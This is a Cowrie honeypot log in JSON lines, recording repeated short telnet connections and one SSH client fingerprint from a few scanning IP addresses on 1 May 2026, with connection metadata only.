{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54368,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a2538f03ce8","protocol":"telnet","message":"New connection: 51.161.172.108:54368 (159.203.135.109:23) [session: 4a2538f03ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:29.660969Z"}
{"eventid":"cowrie.session.closed","duration":31.668882608413696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:29.666641Z","src_ip":"51.161.172.108","session":"a915890ac9e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.415061235427856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:29.853758Z","src_ip":"51.161.172.108","session":"977de85bdf38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.835936546325684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:29.962455Z","src_ip":"51.161.172.108","session":"59325b380233","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.573184490203857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:30.095764Z","src_ip":"51.161.172.108","session":"a256bd02e92b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.583863735198975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:30.108019Z","src_ip":"45.10.154.244","session":"9d933e0c019b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":47282,"dst_ip":"159.203.135.109","dst_port":22,"session":"43d4dfd5a3ae","protocol":"ssh","message":"New connection: 122.168.114.167:47282 (159.203.135.109:22) [session: 43d4dfd5a3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:30.186418Z"}
{"eventid":"cowrie.session.closed","duration":30.522636651992798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:30.286099Z","src_ip":"51.161.172.108","session":"9a2fb54cd424","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54504,"dst_ip":"159.203.135.109","dst_port":23,"session":"3657f8e73530","protocol":"telnet","message":"New connection: 51.161.172.108:54504 (159.203.135.109:23) [session: 3657f8e73530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:30.329329Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54518,"dst_ip":"159.203.135.109","dst_port":23,"session":"68a8edee7cbc","protocol":"telnet","message":"New connection: 51.161.172.108:54518 (159.203.135.109:23) [session: 68a8edee7cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:30.349892Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54542,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dc50475afd8","protocol":"telnet","message":"New connection: 51.161.172.108:54542 (159.203.135.109:23) [session: 9dc50475afd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:30.379994Z"}
{"eventid":"cowrie.session.closed","duration":30.563523769378662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:30.389222Z","src_ip":"51.161.172.108","session":"e21028cfd8de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54562,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f758e44f514","protocol":"telnet","message":"New connection: 51.161.172.108:54562 (159.203.135.109:23) [session: 4f758e44f514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:30.504509Z"}
{"eventid":"cowrie.session.closed","duration":31.624364614486694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:30.709678Z","src_ip":"51.161.172.108","session":"1a7d104f6c1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35187029838562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:30.906949Z","src_ip":"51.161.172.108","session":"49891fa00644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54456,"dst_ip":"159.203.135.109","dst_port":23,"session":"c64b8096af04","protocol":"telnet","message":"New connection: 51.161.172.108:54456 (159.203.135.109:23) [session: c64b8096af04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:30.917654Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54466,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaa333f01761","protocol":"telnet","message":"New connection: 51.161.172.108:54466 (159.203.135.109:23) [session: eaa333f01761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:30.984606Z"}
{"eventid":"cowrie.session.closed","duration":30.682454586029053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:31.174891Z","src_ip":"51.161.172.108","session":"c6fd71ebc32c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.020659923553467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:31.231235Z","src_ip":"51.161.172.108","session":"921384c1adcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54616,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc8bf7e3292f","protocol":"telnet","message":"New connection: 51.161.172.108:54616 (159.203.135.109:23) [session: dc8bf7e3292f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:31.342322Z"}
{"eventid":"cowrie.session.closed","duration":30.99745750427246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:31.410638Z","src_ip":"51.161.172.108","session":"5d9dcaffbceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":33696,"dst_ip":"10.17.0.5","dst_port":23,"session":"cae4ca5aec61","protocol":"telnet","message":"New connection: 45.10.154.244:33696 (10.17.0.5:23) [session: cae4ca5aec61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:31.509825Z"}
{"eventid":"cowrie.session.closed","duration":30.627721786499023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:31.552422Z","src_ip":"45.10.154.244","session":"0547f903a97a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54658,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f2b3de73923","protocol":"telnet","message":"New connection: 51.161.172.108:54658 (159.203.135.109:23) [session: 1f2b3de73923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:31.645730Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54672,"dst_ip":"159.203.135.109","dst_port":23,"session":"cea8c952cb96","protocol":"telnet","message":"New connection: 51.161.172.108:54672 (159.203.135.109:23) [session: cea8c952cb96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:31.655355Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54700,"dst_ip":"159.203.135.109","dst_port":23,"session":"c90ea1732a6c","protocol":"telnet","message":"New connection: 51.161.172.108:54700 (159.203.135.109:23) [session: c90ea1732a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:31.711482Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54738,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a7284d39f85","protocol":"telnet","message":"New connection: 51.161.172.108:54738 (159.203.135.109:23) [session: 2a7284d39f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:31.987399Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54742,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bdd305db8d2","protocol":"telnet","message":"New connection: 51.161.172.108:54742 (159.203.135.109:23) [session: 9bdd305db8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:32.107202Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54756,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e2964c55fb8","protocol":"telnet","message":"New connection: 51.161.172.108:54756 (159.203.135.109:23) [session: 1e2964c55fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:32.174662Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54774,"dst_ip":"159.203.135.109","dst_port":23,"session":"518ac6966542","protocol":"telnet","message":"New connection: 51.161.172.108:54774 (159.203.135.109:23) [session: 518ac6966542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:32.178844Z"}
{"eventid":"cowrie.session.closed","duration":30.56263279914856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:32.216227Z","src_ip":"51.161.172.108","session":"0abbd465e14c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.671587467193604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:32.285549Z","src_ip":"51.161.172.108","session":"d2d4719de2ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.768819570541382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:32.361874Z","src_ip":"51.161.172.108","session":"3c16cb31a7a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":36756,"dst_ip":"10.17.0.5","dst_port":23,"session":"1024ccadace4","protocol":"telnet","message":"New connection: 45.10.154.244:36756 (10.17.0.5:23) [session: 1024ccadace4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:32.370054Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54776,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3a4603e76c5","protocol":"telnet","message":"New connection: 51.161.172.108:54776 (159.203.135.109:23) [session: d3a4603e76c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:32.408733Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54794,"dst_ip":"159.203.135.109","dst_port":23,"session":"78d349bbe28d","protocol":"telnet","message":"New connection: 51.161.172.108:54794 (159.203.135.109:23) [session: 78d349bbe28d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:32.462865Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54808,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff9f99c29c94","protocol":"telnet","message":"New connection: 51.161.172.108:54808 (159.203.135.109:23) [session: ff9f99c29c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:32.583842Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54646,"dst_ip":"159.203.135.109","dst_port":23,"session":"88382bb27718","protocol":"telnet","message":"New connection: 51.161.172.108:54646 (159.203.135.109:23) [session: 88382bb27718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:32.632471Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54828,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5b8b6d700e8","protocol":"telnet","message":"New connection: 51.161.172.108:54828 (159.203.135.109:23) [session: c5b8b6d700e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:32.852926Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54818,"dst_ip":"159.203.135.109","dst_port":23,"session":"920d21014b74","protocol":"telnet","message":"New connection: 51.161.172.108:54818 (159.203.135.109:23) [session: 920d21014b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:32.929974Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54850,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bb1c193bdb0","protocol":"telnet","message":"New connection: 51.161.172.108:54850 (159.203.135.109:23) [session: 0bb1c193bdb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:33.010942Z"}
{"eventid":"cowrie.session.closed","duration":32.219618797302246,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:33.126207Z","src_ip":"51.161.172.108","session":"ae317c1a75b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54906,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1f5dfe8c06b","protocol":"telnet","message":"New connection: 51.161.172.108:54906 (159.203.135.109:23) [session: a1f5dfe8c06b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:33.322943Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54918,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ddddc18ed35","protocol":"telnet","message":"New connection: 51.161.172.108:54918 (159.203.135.109:23) [session: 1ddddc18ed35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:33.447490Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54926,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaee53c3cab7","protocol":"telnet","message":"New connection: 51.161.172.108:54926 (159.203.135.109:23) [session: aaee53c3cab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:33.610154Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54932,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f4e7e55adf0","protocol":"telnet","message":"New connection: 51.161.172.108:54932 (159.203.135.109:23) [session: 9f4e7e55adf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:33.657613Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54954,"dst_ip":"159.203.135.109","dst_port":23,"session":"64d848ca39a2","protocol":"telnet","message":"New connection: 51.161.172.108:54954 (159.203.135.109:23) [session: 64d848ca39a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:33.710028Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54966,"dst_ip":"159.203.135.109","dst_port":23,"session":"c66dd9baa847","protocol":"telnet","message":"New connection: 51.161.172.108:54966 (159.203.135.109:23) [session: c66dd9baa847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:33.758351Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54980,"dst_ip":"159.203.135.109","dst_port":23,"session":"206056d5b0bc","protocol":"telnet","message":"New connection: 51.161.172.108:54980 (159.203.135.109:23) [session: 206056d5b0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:33.963259Z"}
{"eventid":"cowrie.session.closed","duration":32.03428316116333,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:33.989778Z","src_ip":"51.161.172.108","session":"c3c2d72dd201","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54992,"dst_ip":"159.203.135.109","dst_port":23,"session":"883fe02b8510","protocol":"telnet","message":"New connection: 51.161.172.108:54992 (159.203.135.109:23) [session: 883fe02b8510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:34.042195Z"}
{"eventid":"cowrie.session.closed","duration":31.615724086761475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:34.046793Z","src_ip":"51.161.172.108","session":"a64bcd0887f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":43542,"dst_ip":"10.17.0.5","dst_port":23,"session":"a03f2666cef8","protocol":"telnet","message":"New connection: 45.10.154.244:43542 (10.17.0.5:23) [session: a03f2666cef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:34.052483Z"}
{"eventid":"cowrie.session.closed","duration":31.256791830062866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:34.099483Z","src_ip":"51.161.172.108","session":"058e2b363512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55020,"dst_ip":"159.203.135.109","dst_port":23,"session":"083ef4241c74","protocol":"telnet","message":"New connection: 51.161.172.108:55020 (159.203.135.109:23) [session: 083ef4241c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:34.177156Z"}
{"eventid":"cowrie.session.closed","duration":31.26372218132019,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:34.252650Z","src_ip":"51.161.172.108","session":"7df47e57e30d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.16334676742554,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:34.258347Z","src_ip":"51.161.172.108","session":"0d33b33d85ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55060,"dst_ip":"159.203.135.109","dst_port":23,"session":"319bdfb2f33b","protocol":"telnet","message":"New connection: 51.161.172.108:55060 (159.203.135.109:23) [session: 319bdfb2f33b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:34.419440Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55074,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8d572057e19","protocol":"telnet","message":"New connection: 51.161.172.108:55074 (159.203.135.109:23) [session: c8d572057e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:34.465031Z"}
{"eventid":"cowrie.session.closed","duration":31.46790075302124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:34.562244Z","src_ip":"45.10.154.244","session":"d7d373b0e127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55086,"dst_ip":"159.203.135.109","dst_port":23,"session":"c56be8f0bb38","protocol":"telnet","message":"New connection: 51.161.172.108:55086 (159.203.135.109:23) [session: c56be8f0bb38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:34.609525Z"}
{"eventid":"cowrie.session.closed","duration":30.969524145126343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:34.619996Z","src_ip":"51.161.172.108","session":"1bc8ee9bcc6f","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:34.725985Z","src_ip":"122.168.114.167","session":"43d4dfd5a3ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55134,"dst_ip":"159.203.135.109","dst_port":23,"session":"3885f2f2cf13","protocol":"telnet","message":"New connection: 51.161.172.108:55134 (159.203.135.109:23) [session: 3885f2f2cf13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:34.852632Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:34.993977Z","src_ip":"122.168.114.167","session":"43d4dfd5a3ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.18213438987732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.072720Z","src_ip":"45.10.154.244","session":"82b8a16a6423","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":47936,"dst_ip":"10.17.0.5","dst_port":23,"session":"5232dc01c4be","protocol":"telnet","message":"New connection: 45.10.154.244:47936 (10.17.0.5:23) [session: 5232dc01c4be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.078692Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55160,"dst_ip":"159.203.135.109","dst_port":23,"session":"63d345e526d9","protocol":"telnet","message":"New connection: 51.161.172.108:55160 (159.203.135.109:23) [session: 63d345e526d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.112739Z"}
{"eventid":"cowrie.session.closed","duration":30.308964014053345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.120808Z","src_ip":"45.10.154.244","session":"ec0c8ce4f3b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55158,"dst_ip":"159.203.135.109","dst_port":23,"session":"996852ece994","protocol":"telnet","message":"New connection: 51.161.172.108:55158 (159.203.135.109:23) [session: 996852ece994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.191287Z"}
{"eventid":"cowrie.session.closed","duration":31.03455376625061,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.197921Z","src_ip":"51.161.172.108","session":"c4a9a91f86a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913093328475952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.212122Z","src_ip":"51.161.172.108","session":"b56d30b999ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.891973733901978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.217578Z","src_ip":"51.161.172.108","session":"16e130ef21bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55014,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb543bbbb1f8","protocol":"telnet","message":"New connection: 51.161.172.108:55014 (159.203.135.109:23) [session: bb543bbbb1f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.272963Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55046,"dst_ip":"159.203.135.109","dst_port":23,"session":"36290721d518","protocol":"telnet","message":"New connection: 51.161.172.108:55046 (159.203.135.109:23) [session: 36290721d518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.405386Z"}
